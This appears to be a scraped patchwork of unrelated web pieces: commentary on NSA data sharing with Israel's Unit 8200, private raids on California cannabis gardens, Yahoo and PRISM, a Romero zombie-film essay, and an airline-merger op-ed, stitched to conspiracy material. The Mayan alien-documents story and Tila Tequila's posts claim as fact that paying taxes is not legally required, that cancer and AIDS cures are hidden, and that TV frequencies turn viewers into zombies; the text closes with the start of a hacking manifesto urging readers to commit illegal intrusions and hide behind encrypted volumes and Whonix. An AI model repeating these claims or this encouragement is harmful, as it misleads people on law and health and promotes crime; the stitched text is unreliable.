Writing Tuesday in the New York Times, Bamford disclosed this alarming new anecdote from his Snowden debrief:
Among his most shocking discoveries, he told me, was the fact that the NSA was routinely passing along the private communications of Americans to a large and very secretive Israeli military organization known as Unit 8200. This transfer of intercepts, he said, included the contents of the communications as well as metadata such as who was calling whom.
Typically, when such sensitive information is transferred to another country, it would first be “minimized,” meaning that names and other personally identifiable information would be removed. But when sharing with Israel, the NSA evidently did not ensure that the data was modified in this way.
Mr. Snowden stressed that the transfer of intercepts to Israel contained the communications—email as well as phone calls—of countless Arab- and Palestinian-Americans whose relatives in Israel and the Palestinian territories could become targets based on the communications. “I think that’s amazing,” he told me. “It’s one of the biggest abuses we’ve seen.”
As of last week, exactly 43 ex-members of Unit 8200—many young and active reservists who could theoretically be called again to serve Israel at a moment’s notice—passionately agree.
In an act of protest that had been planned well in advance of this summer’s brutal bombing campaign in Gaza (which you may have heard killed 2,100 Palestinians and turned Gaza City into the lunar ruins of an ancient alien race), the young members of Unit 8200 drafted a long letter publicly refusing to participate in any further intelligence gathering activities against the Palestinians.
“The Palestinian population under military rule is completely exposed to espionage and surveillance by Israeli intelligence. It is used for political persecution and to create divisions within Palestinian society by recruiting collaborators,” the letter says. Adding, “In many cases, intelligence prevents defendants from receiving a fair trial in military courts, as the evidence against them is not revealed.”
“Contrary to Israeli citizens or citizens of other countries,” whose rights are protected under law, the letter points out, “there’s no oversight on methods of intelligence or tracking and the use of intelligence information against the Palestinians, regardless if they are connected to violence or not.”
London-based newspaper The Guardianinterviewed several of the unit’s conscientious objectors under the condition of anonymity—which was requested not out of fear of persecution, but out of the desire to comply with Israeli law. (Only the copies of the letter sent to their unit commander used the objectors’ full names.)
Among the personal statements, agents disclosed that the majority of Unit 8200’s operations in Palestine targeted “innocent people unconnected to any military activity.” The unit was instructed to keep any personal information potentially embarrassing or damaging to a Palestinian’s life, including sexual preferences, extramarital affairs, financial trouble, family illnesses, or anything else that could be “used to extort/blackmail the person and turn them into a collaborator.” The private “sex talk” intercepted by Palestinians (in what’s becoming a gross trend for these surveillance scandals) were allegedly passed around by certain members of the unit for titters/yucks.
One member, referred to as “D” by the Guardian, formerly a 29-year-old captain who served in the unit for eight years, told the paper that part of his decision to protest came from the dawning realization that his actions were really no different than those of any totalitarian government’s secret police.
“It was when I realized that what I was doing was the same job that the intelligence services of every undemocratic regime are doing,” he said.
There have been many precursors, both historically and more recently, to this secretive alliance between Israeli and U.S. intelligence agencies. Back in Mad Men times, the CIA’s director of counter-intelligence, legendary super-spook James Angleton, practically contracted all of the CIA’s North African operations to the Mossad along with a generous aid package, and has often been said to have helped found their agency in 1951. During the more recent disclosures regarding the NSA’s (basically illegal) surveillance program STELLAR WIND, agency whistleblowers revealed that two Israeli companies, Verint and Narus, were contracted to manage the actual bugging of America’s telecommunications network.
Apart from the Mossad’s long, aggressive history of spying on the United States, the arrangement also provoked concerns due to corruption within one of the firms; Verint’s founder and former chairman Kobi Alexander was added to the FBI “most wanted list” in 2006 regarding various forms of stock fraud and fought against extradition for many years. Some former agency employees have also reported that a mid-level NSA employee friendly with Israeli intelligence unilaterally decided to hand over advanced analytical and data mining software that the agency had developed internally for its own international eavesdropping operations. (According to a piece by James Bamford in WIRED, that software is now also in the hands of many private Israeli companies.)
In all that context, it’s true that this recent news isn’t exactly surprising or shocking—the kind of lame, bullshit “take” pundits and anonymous commenters always love trotting out to congratulate themselves for their knowledgeable cynicism. (Seriously: Good for you guys.)
What it still is—obviously and regardless of this context—is abhorrent and genuinely scandalous for a country, like Israel, that loves positioning itself as a bastion of democracy in the autocratic Middle East.
Perhaps, we should start looking for some fresh perspectives on how best to resolve this ongoing humanitarian crisis.
[photo of an Israeli Defense Force Situation Room—really actually already redacted like that—via the IDF Spokesman’s Office by way of Haaretz; June 2014 photo of an Israeli soldier carrying a computer tower seized during the search for three Israeli teenagers believed to be kidnapped by Palestinian militants, by Hazem Bader/AFP/Getty Images]
There are very few news stories about government overreach that shock me these days, but this week there were two — both in California. Each came and went with barely a whisper in the media, even from the “liberty” news.
Perhaps we’re so bombarded with mafia tactics by the government that some events just get lost in the chaos. And no, one of these developments is NOT the Los Angeles School District acquiring tanks and grenade launchers, although that’s probably of equal significance. Below is the first of these local stories. The second will be in a follow-up article.
This is probably the scariest development in law enforcement, ever, and I don’t say that lightly. If you thought no-knock SWAT raids to serve warrants for non-violent crimes was the epitome of tyranny, wait until you get a load of private mercenaries conducting special forces-type raids on American citizens.
That’s right, a report out of Mendocino, California admits that Blackwater-like private “security” contractors are now being used to “police pot.” Mysterious soldiers repelled out of unmarked helicopters fully armed for war to raid legal medical cannabis gardens last month. They didn’t identify themselves or present paperwork of any kind. They just destroyed the garden and left. Other witnesses claim this invading army is also “confiscating” product.
This is the ultimate “feeler” story in the unfolding Totalitarian Tip-Toe if I’ve ever seen one. A quirky local story of “mystery men” used to raise the public threshold of acceptable tyranny, a.k.a. legitimizing private-sector soldiers for law enforcement.
The war machine seems to be gauging how much terror they can inflict on peaceful Americans before they say WTF (See Ferguson) and, perhaps more importantly, to see if the public will allow this vast new market for war profiteers.
It should be a massive media story “private war profiteering at home to terrorize citizens fight crime”. Helicopters, weapons of war, and tactical gear are expensive. Who’s seeding these start-ups anyway?
The manipulation continued a day after this story was reported, when Alex Altman of TIME wrote “Californians Turn to Private Security to Police Pot Country” as if all the citizens of California have agreed to this type of policing. Subtle manipulation.
Over the summer, residents claimed men in military gear had been dropping onto private property from unmarked helicopters and cutting down the medicinal pot gardens of local residents. Local law enforcement have conducted helicopter raids in the area, but some worried the culprit this time was different: a private-security firm called Lear Asset Management.
The confusion was easy to understand. In the wildlands of California’s pot country, the workings of law enforcement are hard to track, and the rules for growing pot are often contradictory. To add to the mess, the various local, county, state and federal enforcement efforts don’t always communicate with each other about their efforts. The added possibility of private mercenaries, with faceless employers, fast-roping from helicopters raised alarm bells for many farmers.
TIME legitimizes Lear Asset Management and the practice of private policing with a matter-of-fact job description:
They are hired by large land owners to do the work of clearing trespass gardens from private property, and perform forest reclamation, sometimes funded by government grant. Deep in the woods, they cut down illegal pot plants and scrub the environmental footprint produced by the backwoods drug trade. They carry AR-15 rifles, lest they meet armed watchmen bent on defending their plots.
I really don’t have a problem with securing private property from vandals, but did you catch that slip “sometimes funded by government grant”? That’s when “private security” becomes “law enforcement.” This is the RED ALERT buried in this story. At best our tax dollars are being used to fund private armies for large land owners. At worst, when will we see these warriors policing BLM land (aka National Parks)? Wait for it…
Altman quotes official statistics about how successful Lear and law enforcement are in raiding marijuana farmers, measured in the “street value” of the forbidden crop seized at gunpoint, as if that is still acceptable behavior by society’s peace keepers in the era of legal weed. But Altman just uses it as a segue into a broader “problem” of policing environmental vandalism on large stretches of open land, including “public” land.
More recently, the trespass grow sites have migrated from public land onto the vast plots owned by private citizens and timber companies. Some of them have hired Lear to deal with the problem. The company has run about nine missions across California’s pot country this year, with more planned this fall, Trouette says. And while the company’s special-ops aspect gets much of the attention, most of the work focuses on environmental reclamation.
The public is supposed to believe Lear is merely an environmental clean-up team doing community service who just so happens to have military special ops capability. How quaint. I didn’t know litter maintenance required AR-15s. But who would be opposed protecting the environment? Smart marketing.
TIME goes for the hard close to sell this tyranny by providing legal cover for these raids without warrants, before ending the article as a sponsored post for “regulation” of Lear’s “flourishing” domestic mercenary business as the “best thing for locals.”
Reports of vigilante marijuana raids on private property may simply stem from a lack of legal clarity. Under the so-called “open fields doctrine” set forth by the U.S. Supreme Court, the Fourth Amendment does not protect undeveloped property from warrantless searches. As a result, police may be permitted to cut down private gardens without a warrant. (my emphasis because your need to read and reread every word)
In the meantime, Lear has flourished, despite the concern among some local growers. But like most people in the Emerald Triangle, Trouette thinks thebest thing for the locals would be for the feds to sort out all the confusion. “I think the federal government would do everybody a big favor,” he says, “by regulating this industry.” (my emphasis)
So let me get this straight: a criminal gang of armed thugs commits violence and theft, and the best way to solve that problem is to legalize and regulate those thugs? Sounds like ISIS.
The creepiest thing about this development is that it’s a clever, more professional repackaging of a previous attempt to introduce private police in America. Some of you liberty lovers may recall it being rolled out once before in an eerily similar manner.
In 2009, FOX News wroteU.S. Mystery ‘Police’ Force Has Small Montana City on Edge after a local news report aired showing an extremely well-funded private security contractor going by the name American Police Force (APF) rolling into the town of Hardin in black Mercedes tagged as “Harding Police Department”.
Hiring a private firm for domestic policing caused massive outrage not just locally in Montana but also around the United States. APF is now referred to as a well-funded fraud perpetuated by a petty con man and the event was swiftly dumped into the dustbin of history.
American Police Force (APF), and under its revised name American Private Police Force, was a fraudulent entity claiming to be a private military company. It never possessed any legitimacy to operate in the United States. The company’s previous logo was an exact copy of the Serbian state coat of arms which caused some controversy and resulted in the Serbian government threatening legal action against APF if it did not remove or change the logo.
In September 2009, US government contract databases showed no record of the company, while security industry representatives and federal officials said they had never heard of it.
APF was registered as a corporation in California by convicted con man Michael Hilton on 2 March 2009.
Interestingly, there are absolutely no follow-up reports of “Michael Hilton” or anyone else being prosecuted or convicted in the APF case. They simply vanished. Think about that for a moment. A heavily-armed foreign force invades a small town in America on false pretenses committing dangerous fraud and the U.S. government does absolutely nothing about it. What does that tell you?
Well, we know the U.S. military uses private contractors in foreign wars, and we know the Pentagon is arming and militarizing domestic police, and we know the U.S. Army is training to enter law enforcement. It seems to me that it’s all part of the plan to keep the war machine churning and to control the population.
Now with a more polished version of private security, minus the flashy Mercedes and foreign accents, and sold to us as environmental guardians, this story has gone largely unnoticed. Yet, if these raid allegations are true, Lear’s actions already far exceed anything APF did in Montana.
Stay tuned for my next article on the second unreported tyrannical event that happened in California this past week to be released later today or early tomorrow.
When we first learned about NSA metadata collection, we wondered how readily the biggest tech companies acquiesced to the government. Today we start to find out. This is the story of how Yahoo was coerced into PRISM, as told by court documents cited by the Washington Post today.
According to the documents, corroborated by a blog post made public today by Yahoo—the U.S. government first approached the company in 2007 asking for user metadata. The request was unprecedented: The U.S. government was no longer interested in obtaining a court review before requesting metadata on an individual target. The order simply asked for data on targets located outside of the U.S. at the time, be they foreign or U.S. citizens.
Yahoo challenged the government requests several times, citing the limits of the U.S. Constitution, but was denied in the Foreign Intelligence Court of Review, the “secret courts” that oversee surveillance requests regarding national security. The repeated denials, plus the threat of losing $250,000 a day, forced Yahoo to comply with the NSA’s PRISM program.
For its part, the U.S. government used Yahoo as an example to coerce other American tech giants, sharing the rulings against Yahoo with companies like Google, Facebook, and Apple.
This information comes to light today, as roughly 1,500 pages of documents pertaining to Yahoo’s failed legal battle were released by Federal Judge William C. Bryson, who presides over the Foreign Intelligence Surveillance Court of Review. Yahoo requested the unsealing of the documents, and the company’s Ron Bell says in this blog post that Yahoo is working to make these never-before-released documents available on Tumblr.
Now that the courts are unsealing documents surrounding PRISM and other national surveillance programs, it’s possible that we’ll hear about other tech companies and whether they resisted the NSA’s requests for sweeping data dumps. Judging by what we’ve learned today, Yahoo tried to stick up for its users’ privacy—until it couldn’t afford to. [The Washington Post]
IN WHAT WILL SOON BE CONSIDERED AS THE HOLY GRAIL OF EXTRATERRESTRIAL RESEARCH, THE MEXICAN GOVERNMENT HAS RELEASED ANCIENT DOCUMENTS PROVING THE EXISTENCE OF E.T.’S ONCE AND FOR ALL
CALAKMUL, MEXICO (INTELLIHUB) — Newly released Mayan documents, i.e. artifacts, dating back at least 1300-years reveal that the human race is not alone and highly advanced technologies including space travel have likely existed for quite some time.
Not only does this documentation released by the Mexican government show the existence of an explorer race, it may also reveal the roots of mankind.
Some consider the government’s presentation of the information to be a major step forward for humanity as the truth is finally being slowly let out. Hopefully this will prompt other governments around the world to be more forthcoming with such information, turning the tide in the UFO and extraterrestrial research community for good.
Sundance winner Juan Carlos Rulfo’s Revelations of the Mayans 2012 and Beyond also touches on such technology. “Producer Raul Julia-Levy said the documentary-makers were working in cooperation with the Mexican government for what he said was “the good of mankind”. He said the order to collaborate had come directly from the country’s president, Álvaro Colom Caballeros.
“Mexico will release codices, artifacts and significant documents with evidence of Mayan and extraterrestrial contact, and all of their information will be corroborated by archaeologists,” he said. “The Mexican government is not making this statement on their own – everything we say, we’re going to back it up.”
Caballeros himself was conspicuous by his absence from the statement released by Julia-Levy. So far, the minister of tourism for the Mexican state of Campeche, Luis Augusto García Rosado, appears to be the highest-ranking government official to go on record confirming the discovery of extraterrestrial life, but he’s not holding back.
In a statement, Rosado spoke of contact “between the Mayans and extraterrestrials, supported by translations of certain codices, which the government has kept secure in underground vaults for some time”. In a telephone conversation with the Wrap, he also spoke of “landing pads in the jungle that are 3,000 years old”.[2]
These secrets have been said to be “protected” by the mexican government for as long as 80-years.
Sources:
[1] The Mexican government reveals Mayan documents proving extraterrestrial contacts – Arcturius.org
[2] Mayan documentary to show ‘evidence’ of alien contact in ancient Mexico – TheGuardian.com
[3] Aliens and UFOs Depicted In Mayan Artifacts Released By Mexican Government – ConciusLifeNews.com
George A. Romero’s Vital Role in Paving the Road for Today’s Zombie Film
The first feature length film to employ zombies as a vehicle for social commentary was Abel Gance’s J’Accuse (1919), which is also memorable for featuring authentic footage from the battlefields of the first World War. In the 1930’s, many zombie films were inspired by mostly misinterpreted Haitian mythology. Today, zombie film and culture now permeate virtually all mass media, everything from video games, to TV shows, to graphic novels. Zombies are used as a narrative device to discuss any number of issues, from oppressive, military states, to contagions and pandemics, to xenophobia and social stigma. We owe most of this to George A. Romero.
Zombie films, and indeed exploitation films in general, would not exist as we know them today if not for Romero’s influence. From his early work with the groundbreaking films Night of the Living Dead (1968), Dawn of the Dead (1978), and Day of the Dead (1985) that set the zombie genre in motion to his recent works like Land of the Dead (2005), Diary of the Dead (2007), and Survival of the Dead (2010) Romero set the standard for the zombie movie in ways that changed how we watch the genre entirely.
Night of the Living Dead, although black and white and also shot on a shoestring budget, has a depth that was surprising for the time. Although the film didn’t shy away from explicit onscreen violence, it wasn’t the blood and guts alone that made this film revolutionary. After all, by 1968, exploitation filmmakers like Herschell Gordon Lewis had already been churning out over-the-top gory films like Blood Feast (1963) for a few years. What distinguished Romero’s film was that it didn’t rely exclusively on sensational gimmicks, but it endeavored to tell a meaningful story with characters that elicited emotional responses from viewers. The film focused more on the human relationships during the post apocalyptic backdrop, and it offered poignant commentary about humanity’s inability to reconcile conflicting self-interests in crisis situations. The film is also notable for featuring a black actor (Duane Jones) as its male lead. What’s more, the film had the audacity to have its main character killed off — and what’s more, the black male lead is shot by a white militia. Bear in mind that Martin Luther King Jr. was assassinated around the time of the film’s release, and Malcolm X had been assassinated a mere three years prior.
His next installment in the Dead saga was Dawn of the Dead (1978), which mostly takes place inside an overrun shopping mall and also focuses on the survivors of a zombie outbreak. We are told that the zombies flock to the mall because they have vague memories of the site holding personal significance for them. It’s Romero’s stab at consumer culture, and the unhealthy degree of importance assigned to material wealth.
In 1985’s Day of the Dead Romero envisions an underground military base where zombies have been kept for experimentation. It evokes sympathy for the zombies, and vilifies the power-crazed military officials (especially the psychopathic Captain Rhodes, who meets an especially gruesome end). Day, with it’s scaything criticism of governmental abuse of power and ethical issues surrounding military service, is perhaps the most socially relevant of all the Dead films. Not only is it attracting fresh attention because of regular screenings on TV, particularly the new grindhouse/horror-oriented El Rey cable network (more info here), but the film also laid the groundwork for modern zombie productions like The Walking Dead, and 28 Days Later. And moreover, his films have been remade and adapted, proving that they are still as relevant as ever to a modern day audience.
While his film Land of the Dead (2005) did offer unique criticism of the Bush administration, his follow-ups, Diary of the Dead (2007), and Survival of the Dead (2010) failed to gain widespread attention like his earlier works did but they still prove to be potent additions to the zombie film genre catalog. His most recent outings lack the potency as the earlier films. However, these movies were not totally without merit and, in fact, only upheld the idea that Romero is an incredibly important figure in the zombie genre who had an integral role shaping what it is today.
In more recent, unrelated works like The Walking Dead and 28 Days Later, the very ideas those films were founded upon are the same ideas that Romero laid out in his earlier works and upheld in his later films. Surely, if not for Romero’s works and contributions, the zombie genre that we know and love to today would seem infinitely less-thrilling, and considerably less relevant, than it is today.
Martin John Rogers was found with his wrecked car down an embankment in western Maryland on Thursday, September 4, 2014, after disappearing on August 21, 2014 when he left home for work at the world-renowned research center near Washington, D.C. No word yet on the cause of death, an autopsy will be performed to determine the manner of death, according to LA Times and The Baxter Bulletin. Here is where the mystery comes in. According to the report, the search for Rogers didn’t start until a few days after he failed to show up for work, but on the day he disappeared he is seen on surveillance footage and used a credit card at a Motel 8 a few hours after he left home. Martin Rogers had worked at the National Institutes of Health for 15 years and specialized in tropical diseases.
Tila Exposing the Illuminati and NWO on Twitter:
1. “If you protest against the GOV…theyll put you in jail and charge you for being Anti-American, when really, you had the right to.” 2. “One World Order isn’t too far away folks. Everything happening now is part of the big plan. They’re gonna start putting micro-chips in you.”
3. “The last president spent 12 billion dollars a MONTH of OUR TAX DOLLARS to fight a war. That money coulda saved our whole country instead.”
4. “And people have actually forgotten that in the Amendment, THE PEOPLE, have power to overturn the GOV, to which they are about to scrap that.”
5. “They also like to instill “FEAR” into the country, because the more “FEAR” you are in, the more likely they can control you with more laws.”
6. “They put in you jail for not payin taxes because they KNOW that u don’t know the truth and wont be able to afford a lawyer to defend u.”
7. “Trust me, paying taxes is not IN THE LAW! People just abide to it cuz they think it’s the law. But there are NO documents stating its a law!”
8. “oh and dont let me tell u about TAXES! Did you know that it is NOT a law that you HAVE TO PAY TAXES? Wow..hold up..droppin 2 much knowledge.”
9. “Just like the Electric Car that was invented. It runs faster than most cars, no gas needed, quiet, but GOV. axed it cuz gas no longer needed.”
10. “U wanna know more truth? Some form of electric free generator had enough power to light up an entire city. They Axed it cuz it would be free.” 11. “The GOV. and PRES is actually NOT highest rank. It is the people in the FEDERAL RESERVE. They run everything. The Masons. Ok im really dead.”
12. “Did you know that the “internet” was actually invented centuries ago? But only the GOV. had use of it until they decided to go public.”
13. “Y do u think CNN and news stations covered Paris Hilton goin 2 jail? they were tryin 2 distract country from bein angry at BUSH 4 goin 2 war.” 14. “And don’t let me get started on CHURCH GROUPS and RELIGION….another Government conspiracy connected to the Federal Reserve. Ok im dead.”
15. “I can’t stand ignorant people…but it’s not their fault cuz school systems SUCK anyway. They haven’t updated textbooks from the 50s!!!!!”
16. “They also have a cure for AIDS and CANCER, but if they put out the cure, BILLIONS of dollars will be lost in the pharmaceutical industry.”
17. “Oh and dont let me get started on our “shitty economy” and how that is slightly part of the plan…..I’ll stop now before I get in trouble.”
18. “John Lennon, Marilyn Monroe, JFK, Martin Luther King, Malcom X just to name a few…influential or knew the truth. Killed by Government.”
19. “Sooooo I’m just gonna stick to this “fun-loving carefree and harmless, non-activist, non-extremist” type person and keept it simple. =)”
20. “Or even worse…..they would Kill me. Yes….the GOV would find a way to KILL me, if my voice becomes too powerful in unveiling the truth.”
21. “I wish I could tell you more about the stuff I know….but I guarantee you, someway, somehow, the Gov. will delete or block my blogs 4 truth.”
22. “A lot of U sound surprised that I know a lot about this stuff. This is the other side of Tila that I dont share w/the world. The SMART side.”
23. “Although I DO have a very strange feeling that secretly, the Government is already doing that on a subtle level. Its all fucked up!”
24. “Let’s PRAY they dont start doing that in AMERICA! Imagine doin a google search for something and nothing comes up but butterflies N unicorns.”
25. “China is a Communist Country! IT IS A SCARY PLACE TO BE LIVING UNDER COMMUNISM! It’s fucked up! People dont have freedom to do anything!”
26. “Like did you guys know that they BANNED me in CHINA??? They blocked my myspace page and people cant search for me online! Scary huh? LOL”
27. “But dont ya’ll think it’s scary that people can control what you think is the “TRUTH?” It’s scary to have censorship. They hide the truth!”
28. “Ohhhh but I knew it would get deleted so I took a screenshot of it! I’m gonna post it now…BRB!!!!!!”
29. “I just think it’s NOT LEGIT….it’s almost like PROPAGANDA! It’s fucked up! U think u have freedom but theres always someone controlling you.”
30. “It’s crazy what people who control powerful websites can do! Like during the presidential campaign, myspace blocked all my bulletins to vote.”
31. “Like when Perez begged them 2 take down the #unfollowperez trend and it got taken down…if that’s the case. I dont think trending is legit.”
32. “That’s really scary to know that people who run big websites like this can control what goes on trend and what they can take down.”
ARE THE ILLUMINATI SCARED OF THIS TINY WOMAN?
Both Alex Jones and Larry King cancelled interviews with celebrity actress Tila Tequila…. why?
Larry King? Well that’s a no brainer, he’s probably ‘swinging with the reptoids”…Alex Jones though? A bit surprising.
Alex Jones doesn’t like to talk about certain things (list what you come up with below)… I don’t spend endless time following him, although I do respect what he does and who he is, he does seem to be “supported” by an unseen hand.
“Prison planet” and “infowars”… while informative, hardly take us to the golden age… you can’t just keep protesting something from the same energy which the problems are created… you must offer the alternative from a higher spiritual perspective.
Perhaps there’s so much EXPLOSIVE interest in Tila, because she’s speaking truth… what she is saying about “The Others”, is rocking hollywood…. plus she believes in God and has the power of God within her…. we all do, but she realizes it.
Key Takeaways:
1. If Tila wasn’t onto something in all that she revealed, then her Twitter and Facebook accounts would not have been blatantly deleted.
2. Alex Jones invited Tila on the show for an interview then cancelled. He is clearly a fraud, or as Tila would say, “working for the others”. This has been a good litmus test to see what he’s actually made of and the true intentions behind his work.
Here is Tila’s first blog about the Illuminati:
“Hello Dear Ones,
Now, before you start bashing me for thinking that I am “HATING” on Lady GaGa, let me please tell you first that I am not, nor is this post about that. I just wanted to bring light to something that I have known for a VERY long time. Maybe some of you remember me going on about an hour tweeting about these “secrets” that I know of, a long time ago on my old Twitter account. A lot of people knew what I was talking about and was in awe or shocked that I knew so much about it. Other’s who don’t know much about it just thought I was talking “crazy” and “nonsense.” However I feel as though it is my duty to start bringing to light the truth behind what is going on in our world today. So unless you have an open mind, then I digress for you to not continue reading my post. However if you indeed DO have an open mind, or know of these “HINTS” I am dropping to you, then please continue reading. Just letting you guys know, that I will start posting more and more about this, in bits and pieces, as I don’t want to come out and straight up say the whole thing. But if you follow my posts about this, you shall understand my subliminal message that I want to send you, so you can understand what is happening to you and what “THEY” are doing to you.
Ok first of all, do you guys notice how lately, music video’s have a VERY DARK AND SATANIC vibe to them?? For instance a few years ago, pop music video’s were fun, sexy, cute etc. Sorta like when Britney Spears was at the peak of her career and had fresh pop music video’s like “Stronger” or “I’m a Slave For You” “Don’t Let Me Be the Last to Know” etc. You get my point. Compare music video’s from back then until just now. VERY RECENTLY in the past few years. ESPECIALLY once Lady GaGa stepped on the scene, all the music video’s has turned very DARK & SATANIC! I am not joking.
Even Beyonce is now in on it. I don’t want to tell you all of what I know, RIGHT NOW, because “THEY” are watching. As a matter of fact, I had a HUGE battle with “THE OTHERS” for a long time and I must admit, they are powerful. But there needs to be someone, anyone, to stand up against them and for our world to be restored back into peace and harmony once again.
Hmmm… How can I put this. Well, all of Lady Gaga’s Video, even Beyonce’s new video, and XTINA, Miley Cyrus. They all are all of a sudden very DARK & SATANIC! There are TONS of hidden messages in the video and symbols that prove that they worship satan. Please don’t take this as a joke. It is not and it is serious. The Government even now has a way to send out frequencies on your TV that you cannot hear, yet it highly affects your brain and mixed in with all the visuals from the music video’s, you become hypnotized without you even realizing this. That sounds crazy right? Well it is true. I have been studying about this for the past 7 years now and kept quiet about it for a long time, except when I chat with other groups of people I know that also know about “THE OTHERS” if I told you the ENTIRE THING, it will really blow your mind away, but I feel it is SO IMPORTANT for people to know what is happening to them.
This all leads to the urgency of what the Government knows about the 2012 theory of the World Ending. It’s not exactly what you think. There is a lot more to it, I wish I could tell you, but like I said, I will post more blogs to hint to you little by little of what I know and who I have come in contact with to find out even MORE stuff about this. There has been something going on that set off the “RED ALERT” “URGENCY” signal, so that’s why all the pop music video’s are becoming more and more satanic and the artists involved are joined in with “THE OTHERS” so they know what they are doing. Have you guys heard the term “SELL YOUR SOUL TO THE DEVIL” and you get whatever you want? Well that’s actually true, however the “DEVIL” is real. Rihana, Lady Gaga, Beyonce, XTINA, Miley Cyrus, and yes even Taylor Swift amongst hundreds of others who are apart of this allegiance. It’s all “HUSH HUSH” but I know about it, and I know maybe some of you guys know about it as well. I won’t say it, like I did on my Twitter back then, cuz when I did, all of a sudden Twitter blocked my tweets so no one could see them, and Myspace was also blocking all of my bulletins about this stuff. CRAZY right?
Anyway, the reason behind them doing this with the urgency of the music video’s is because they NEED to turn your brain to mush, so that you just become a vegetable, a robot, a zombie, under their command and not realize it. Have you guys seen the the movie “EYES WIDE SHUT?” well it is VERY SIMILAR TO THAT as well as the movie “DEVIL’s ADVOCATE” I’m telling you, this goes way far and beyond just “ENTERTAINMENT” there’s a lot of fucked up shit going on right now behind the scenes, and conspiracy theories and leading up to the world ending. You would be SHOCKED if I told you which celebrities has the same bloodline as the “DEVIL” God I wish I could tell you more. But for now, i will stop and continue another time.
Just keep in mind next time you see all of these music video’s, if you watch it too much, you too, will be infected and become a zombie, a slave to the GOVERNMENT, without you even realizing it. As for Lady GaGa, she has the MOST SATANIC MESSAGES in her video’s. They used her and use her “MUSIC” and say it’s “ART” but really, its to mindfuck you. Like her new “Alajandro” music video. My god, I couldn’t even BEGIN to point out SO MANY SYMBOLIC SIGNS OF DEVIL WORSHIPPING AND SYMBOLS THAT LINK BACK TO THE “OTHERS”.
I for one, was sent on earth from GOD. To be one of his ANGELS to try to help this world that is half light, and half dark. There is right now a crucial War between good and bad. I am on the GOOD side, and that is why they are always trying to get me. Anyway, there’s more I have to tell you about the frequencies they are sending out via your TV, your cellphones and many more that sends radio waves into your brain to start turning you all into zombies and enslaved under “THE OTHERS”
Now I was hesitant to write this blog as I know they are forever watching and are very POWERFUL. But I feel as a HUMAN BEING, people have a RIGHT to know what is happening to them and I am here, God sent me here, to fight this War against the Darkness and these people who practice Satanic Rituals, that is now being shown on our TV for even CHILDREN to watch! I mean, Lady GaGa hung herself at one of the music video awards with blood dripping everywhere! Now on her new “ALEJANDRO” cover there is a devil-like man carrying her naked, lifeless body, with a HUGE SLIT on the side of her and blood. Yet people think that’s ok just because it’s “ART?” no.
Ok well if you guys are interested, i will tell you more. This is just the first level, i can take you deep, deep, deep into this and teach you so much more about the crazy mad shit that has been going on, and who is in alliance with who. You would be SHOCKED to know. But just know, they “THEY” have been lying to you guys for a VERY LONG TIME!
I gotta go now, don’t wanna cause too much commotion about this before they come and do me wrong again. I will tell you one day how they did me wrong because I knew stuff about them. MAJOR stuff about them and once they found out that I knew, the did some fucked up shit. They own the majority of the media. They can do and say whatever they want, Anyway, enough for now….
As for my fans/haters, who don’t understand what I’m talking about, please disregard this post. But for the people who DO KNOW what I’m speaking of, I will continue to write more blogs like this one but each blog I will leave more and more subliminal messages so that you know more of what I know……
In less than 15 years, the United States’ airline industry has shrunk from ten airlines in the sky to just the big four that are left today. (Photo via Shutterstock)
There’s a stunning lack of choice for American consumers today, and nowhere is that more evident than in our nation’s ever-shrinking airline industry.
According to a new report from the AP, the average roundtrip ticket to anywhere in the US was over $509.15, including taxes, in the first half of this year. That’s up $14 from the same period last year.
The AP also points out that domestic airfare pricing is outpacing inflation, up 2.7 percent compared to the 2.1 percent increase in the Consumer Price Index.
And, according to data from the Airlines Reporting Corporation, airfare costs have shot up 10.7 percent during the past five years alone.
So, what’s behind these sky-high airfare prices?
Well, as the AP piece points out, airlines have discovered that thanks to the economic recovery, more people want to fly, so airlines have dropped the number of available seats on their planes, which all translates to higher ticket prices.
The airlines are taking advantage of simple supply-and-demand economics.
But that’s just one piece of the puzzle.
The real reason that airfare costs are so high is because of the stunning lack of competition in the airline industry today.
Back in 2001, there were 10 major airlines flying through American skies: American Airlines, TWA, America West, US Airways, Delta, Northwest, United, Continental, Southwest, and AirTran.
All those airline choices meant more completion in the marketplace, which translated into lower airfare prices for American consumers.
However, slowly but surely, the competition in the airline industry has disappeared.
In 2001, American Airlines bought out TWA.
In 2005, America West bought up US Airways, keeping the US Airways name.
In 2008, Delta officially began the process of merging with Northwest.
In 2010, United and Continental announced that they were joining forces, and just a few months later, Southwest announced that it was taking over AirTran.
And finally, last year, US Airways and American Airlines announced that they were merging to form the world’s largest airline.
So, in less than 15 years, the American airline industry has shrunk from ten airlines in the sky to just the big four that are left today.
Similarly, as the number of airlines has dwindled, airfare prices have shot up, because there’s so little competition in the marketplace.
The disappearing competition in the airline industry isn’t just some strange phenomenon.
In fact, this same sort of thing is happening in just about every other industry in America.
Look at America’s media and telecom industries.
Back in 1983 – 90 percent of American media was owned by 50 companies.
As of 2011 – that same 90 percent was controlled by just six massive corporations: GE, Newscorp, Disney, Viacom, Time-Warner and CBS.
Similarly, right now, there are just 10 giant corporations that control, either directly or indirectly, virtually all American consumer products.
And then there’s America’s banking industry.
As Mother Jones points out, 37 banks and financial institutions back in 1990 have slowly transformed into the big four banks we see today (Citigroup, JPMorgan Chase, Bank of America and Wells Fargo).
And we all know how much damage those big banks have done to the American economy.
From fewer airlines in the skies, to fewer banks on Main Street, competition has disappeared from the American marketplace, and it’s all because Ronald Reagan, in 1982, stopped enforcing the Sherman Anti-Trust Act.
Ever since Ronald Reagan came to Washington, “mergers and acquisitions” became the main way to do business, and we’ve all suffered as a result, in the form of things like higher airfare costs.
The steady aggregation of big businesses taking over entire industries over the past 34 years in just about every major commercial sector has concentrated far too much power in the hands of too few players.
Americans deserve choice.
We shouldn’t have to feel like we’re being robbed every time we fly home to see family members or jet off for vacations.
And the only way to bring that choice back is by undoing the damage that 34 years of failed Reaganomics has caused, by starting again to enforce the Sherman Anti-Trust Act, by breaking up America’s giant corporations, and by thus bringing competition back into our marketplace.
This article was first published on Truthout and any reprint or reproduction on any other website must acknowledge Truthout as the original site of publication.
I’m not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
it took to 0wn Gamma. I’m writing this to demystify hacking, to show how simple
it is, and to hopefully inform and inspire you to go out and hack shit. If you
have no experience with programming or hacking, some of the text below might
look like a foreign language. Check the resources section at the end to help you
get started. And trust me, once you’ve learned the basics you’ll realize this
really is easier than filing a FOIA request.
–[ 2 ]– Staying Safe
This is illegal, so you’ll need to take same basic precautions:
1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
2) Inside the encrypted volume install Whonix [1]
